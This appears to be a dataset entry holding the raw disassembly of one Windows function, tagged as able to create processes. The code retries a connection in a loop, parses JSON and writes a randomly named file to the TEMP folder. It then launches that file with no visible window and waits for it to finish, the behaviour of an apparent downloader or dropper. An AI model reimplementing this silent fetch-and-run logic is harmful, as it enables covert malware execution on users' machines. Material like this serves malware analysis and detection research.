Function at 0x4029a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x208
mov eax, dword [0x4bc480]
xor eax, esp
mov dword [esp + 0x204], eax
push esi
push edi
nop dword [eax]
call fcn.00414510
mov edi, eax
test edi, edi
je 0x402a31
movups xmm0, xmmword [0x4be540]
sub esp, 0x18
mov ecx, esp
push 0x2712
movups xmmword [ecx], xmm0
push edi
movq xmm0, qword [0x4be550]
movq qword [ecx + 0x10], xmm0
call fcn.00418490
push 5
push 0xd
push edi
call fcn.00418490
add esp, 0x2c
push 1
push 0x2c
push edi
call fcn.00418490
add esp, 0xc
push 0
push 0x40
push edi
call fcn.00418490
add esp, 0xc
push edi
call fcn.00414570
add esp, 4
mov esi, eax
push edi
call fcn.004144f0
add esp, 4
test esi, esi
je 0x402a3e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4029c0
lea ecx, [esp + 0x40]
call fcn.00402150
mov edx, eax
lea ecx, [esp + 0x118]
call fcn.00402870
mov ecx, dword [esp + 0x54]
cmp ecx, 0xf
jbe 0x402a8b
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402a81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034aa
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x128]
mov esi, bind
mov eax, esi
sub eax, ecx
cmp eax, 0x1a
jb 0x4034af
cmp dword [esp + 0x12c], 0xf
lea eax, [esp + 0x118]
push ecx
cmova eax, dword [esp + 0x11c]
lea ecx, [esp + 0x15c]
push eax
push 0x1a
push str.laiagqrFdqV9QA9VnRzjxop
lea eax, [esp + 0x128]
push eax
push dword [esp + 0x1c]
call fcn.00407010
mov edx, dword [0x4be550]
mov eax, esi
mov esi, dword [0x4be568]
sub eax, edx
cmp eax, esi
jb 0x4034b4
cmp dword [0x4be554], 0xf
mov ecx, 0x4be540
push esi
cmova ecx, dword [0x4be540]
mov eax, 0x4be558
cmp dword [0x4be56c], 0xf
cmova eax, dword [0x4be558]
push eax
push edx
push ecx
push 0x4be540
push dword [esp + 0x1c]
lea ecx, [esp + 0x58]
call fcn.00407010
lea eax, [esp + 0x158]
push eax
lea edx, [esp + 0x44]
lea ecx, [esp + 0xec]
call fcn.00402060
mov ecx, dword [esp + 0x58]
add esp, 4
cmp ecx, 0xf
jbe 0x402b81
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402b77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034b9
push ecx
push edx
call fcn.0046f81b
add esp, 8
xorps xmm0, xmm0
lea ecx, [esp + 0x170]
movaps xmmword [esp + 0x170], xmm0
movaps xmmword [esp + 0x180], xmm0
call fcn.0040a690
lea ecx, [esp + 0x170]
call fcn.0040e4d0
xorps xmm0, xmm0
mov dword [esp + 0x7c], eax
push 0
lea ecx, [esp + 0x134]
movaps xmmword [esp + 0x134], xmm0
movq qword [esp + 0x144], xmm0
call fcn.004120a0
cmp dword [esp + 0xfc], 0xf
lea eax, [esp + 0xc0]
mov edx, dword [esp + 0x7c]
lea edi, [esp + 0xe8]
cmova edi, dword [esp + 0xe8]
lea esi, [esp + 0xe8]
cmova esi, dword [esp + 0xe8]
xorps xmm0, xmm0
push eax
lea eax, [esp + 0x134]
movaps xmmword [esp + 0xc4], xmm0
push eax
mov eax, dword [esp + 0x100]
add eax, edi
mov dword [esp + 0xd8], 0
mov dword [esp + 0xdc], 0xf
mov byte [esp + 0xc8], 0
mov edx, dword [edx]
push eax
push esi
mov esi, dword [esp + 0x8c]
mov ecx, esi
mov eax, dword [edx + 4]
call eax
mov edx, dword [esi]
mov ecx, esi
push 1
mov byte [esp + 0x13], al
call dword [edx]
cmp byte [esp + 0xf], 0
jne 0x402cad
push str.Failed_to_parse_JSON:
push 0x4bd870
call fcn.004062e0
cmp dword [esp + 0xdc], 0xf
lea ecx, [esp + 0xc8]
push dword [esp + 0xd8]
cmova ecx, dword [esp + 0xcc]
push ecx
push eax
call fcn.00407110
add esp, 0x14
push eax
call fcn.00406570
add esp, 4
mov esi, 1
jmp 0x403334
lea eax, [esp + 0x1d8]
push eax
push 0x4b6e90
lea ecx, [esp + 0x138]
call fcn.00412a20
mov ecx, eax
call fcn.00412fc0
mov edi, eax
push 0
mov dword [esp + 0xc], edi
call fcn.0047ace9
add esp, 4
push eax
call fcn.00474ce0
add esp, 4
call fcn.00474cbf
mov esi, eax
and esi, reloc.WS2_32.dll_getsockopt
jns 0x402cfa
dec esi
or esi, 0xfffffff8
inc esi
push 0
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push 0x4b6d48
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
add esi, 2
mov dword [esp + 0x2c], 0
call fcn.00406a60
test esi, esi
jle 0x402d92
mov edi, 0x3e
nop
call fcn.00474cbf
xor edx, edx
mov ecx, dword [esp + 0x20]
div edi
mov edi, dword [esp + 0x24]
mov dl, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esp + 0x7c], dl
cmp ecx, edi
jae 0x402d6c
lea eax, [ecx + 1]
cmp edi, 0xf
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
cmova eax, dword [esp + 0x10]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x402d84
push dword [esp + 0x7c]
mov byte [esp + 0x40], 0
lea ecx, [esp + 0x14]
push dword [esp + 0x40]
push 1
call fcn.00406b50
mov edi, 0x3e
sub esi, 1
jne 0x402d30
mov edi, dword [esp + 8]
mov edx, dword [esp + 0x24]
mov eax, edx
mov ecx, dword [esp + 0x20]
sub eax, ecx
cmp eax, 1
jb 0x402dc2
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
cmova eax, dword [esp + 0x10]
mov word [eax + ecx], 0x2e
lea eax, [esp + 0x10]
jmp 0x402ddd
push 1
push 0x4b6e94
mov byte [esp + 0x10], 0
lea ecx, [esp + 0x18]
push dword [esp + 0x10]
push 1
call fcn.00406900
movups xmm0, xmmword [eax]
push edi
lea ecx, [esp + 0x104]
movups xmmword [esp + 0x44], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x10]
movq qword [esp + 0x5c], xmm0
call fcn.00406e30
mov ecx, dword [esp + 0x54]
cmp ecx, 0xf
jbe 0x402e4d
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034be
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x402e83
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034be
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x1ec]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp ecx, 0xf
jbe 0x402ed4
mov edx, dword [esp + 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402eca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034be
push ecx
push edx
call fcn.0046f81b
add esp, 8
push str.TEMP
call fcn.0047bc3e
mov edx, eax
mov dword [esp + 0x94], 0
mov ecx, edx
mov dword [esp + 0x98], 0
xorps xmm0, xmm0
add esp, 4
movaps xmmword [esp + 0x80], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402f10
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x88]
call fcn.00406a60
mov edx, dword [esp + 0x94]
lea ecx, [esp + 0x80]
mov esi, dword [esp + 0x80]
cmp edx, 0xf
mov edi, dword [esp + 0x90]
cmova ecx, esi
test edi, edi
jne 0x402fd8
mov esi, edi
mov edx, 0x4b6d48
sub esi, 4
jb 0x402f71
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x402f76
add ecx, 4
add edx, 4
sub esi, 4
jae 0x402f60
cmp esi, 0xfffffffc
je 0x402faa
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x402fa3
cmp esi, 0xfffffffd
je 0x402faa
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x402fa3
cmp esi, 0xfffffffe
je 0x402faa
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x402fa3
cmp esi, 0xffffffff
je 0x402faa
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x402faa
sbb eax, eax
or eax, 1
jmp 0x402fac
xor eax, eax
test eax, eax
jne 0x402fca
push 1
push 0x4b6e94
lea ecx, [esp + 0x88]
call fcn.00405cc0
mov edi, dword [esp + 0x90]
mov esi, dword [esp + 0x80]
mov edx, dword [esp + 0x94]
mov eax, bind
sub eax, edi
cmp eax, 1
jb 0x4034c3
push 1
push 0x4b6ea0
cmp edx, 0xf
lea eax, [esp + 0x88]
push edi
cmova eax, esi
lea ecx, [esp + 0x1c]
push eax
lea eax, [esp + 0x90]
push eax
push dword [esp + 0x1c]
call fcn.00407010
cmp dword [esp + 0x114], 0xf
lea edx, [esp + 0x100]
mov edi, dword [esp + 0x100]
mov eax, dword [esp + 0x24]
cmova edx, edi
mov esi, dword [esp + 0x20]
sub eax, esi
mov ecx, dword [esp + 0x110]
push ecx
push edx
cmp ecx, eax
ja 0x403074
cmp dword [esp + 0x2c], 0xf
lea eax, [ecx + esi]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x18]
cmova eax, dword [esp + 0x18]
add esi, eax
push esi
call fcn.00471110
mov eax, dword [esp + 0x11c]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [esp + 0x10]
jmp 0x40308e
mov byte [esp + 0x10], 0
push dword [esp + 0x10]
push ecx
lea ecx, [esp + 0x20]
call fcn.00406900
mov edi, dword [esp + 0x100]
mov dword [esp + 0xb0], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0xa0], xmm0
mov dword [esp + 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0xb0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x40310f
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403105
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034c8
push ecx
push edx
call fcn.0046f81b
add esp, 8
lea eax, [esp + 0x1d8]
push eax
push 0x4b6ea4
lea ecx, [esp + 0x138]
call fcn.00412a20
mov ecx, eax
call fcn.00412fc0
lea edx, [esp + 0xa0]
mov ecx, eax
call fcn.00402520
mov ecx, dword [esp + 0x1ec]
cmp ecx, 0xf
jbe 0x403180
mov edx, dword [esp + 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40316f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034cd
push ecx
push edx
call fcn.0046f81b
add esp, 8
nop dword [eax]
cmp dword [esp + 0xb4], 0xf
lea ecx, [esp + 0x1d8]
lea eax, [esp + 0xa0]
cmova eax, dword [esp + 0xa0]
push ecx
push eax
call fcn.0047a77b
add esp, 8
test eax, eax
je 0x4031b9
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403180
cmp dword [esp + 0xb4], 0xf
lea ecx, [esp + 0x6c]
push ecx
lea ecx, [esp + 0x194]
mov dword [esp + 0x194], 0x44
push ecx
push 0
push 0
push 0x8000000
push 0
xorps xmm0, xmm0
lea eax, [esp + 0xb8]
cmova eax, dword [esp + 0xb8]
push 0
push 0
push eax
push 0
movlpd qword [esp + 0x1bc], xmm0
movlpd qword [esp + 0x1c4], xmm0
movlpd qword [esp + 0x1cc], xmm0
movlpd qword [esp + 0x1d4], xmm0
movlpd qword [esp + 0x1dc], xmm0
movlpd qword [esp + 0x1e4], xmm0
movlpd qword [esp + 0x1ec], xmm0
movlpd qword [esp + 0x1f4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [esp + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x6c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x70]
call esi
mov ecx, dword [esp + 0xb4]
xor esi, esi
cmp ecx, 0xf
jbe 0x4032a7
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40329d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x94]
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], 0xf
mov byte [esp + 0xa0], 0
cmp ecx, 0xf
jbe 0x4032fd
mov edx, dword [esp + 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov eax, dword [esp + 0x114]
cmp eax, 0xf
jbe 0x403334
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40332a
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edi
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0xd4]
cmp ecx, 0xf
jbe 0x403370
mov edx, dword [esp + 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403366
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
lea ecx, [esp + 0x130]
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xf
mov byte [esp + 0xc0], 0
call fcn.004124f0
lea ecx, [esp + 0x170]
call fcn.0040a910
mov ecx, dword [esp + 0xfc]
cmp ecx, 0xf
jbe 0x4033e2
mov edx, dword [esp + 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x16c]
mov dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 0xf
mov byte [esp + 0xe8], 0
cmp ecx, 0xf
jbe 0x40343c
mov edx, dword [esp + 0x158]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403432
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x12c]
mov dword [esp + 0x168], 0
mov dword [esp + 0x16c], 0xf
mov byte [esp + 0x158], 0
cmp ecx, 0xf
jbe 0x403492
mov edx, dword [esp + 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403488
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034d2
push ecx
push edx
call fcn.0046f81b
add esp, 8
mov ecx, dword [esp + 0x20c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0046f587
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047b965
call fcn.00401330
call fcn.00401330
call fcn.0047b965
call fcn.0047b965
call fcn.00401330
call fcn.0047b965
call fcn.0047b965
call fcn.0047b965
int3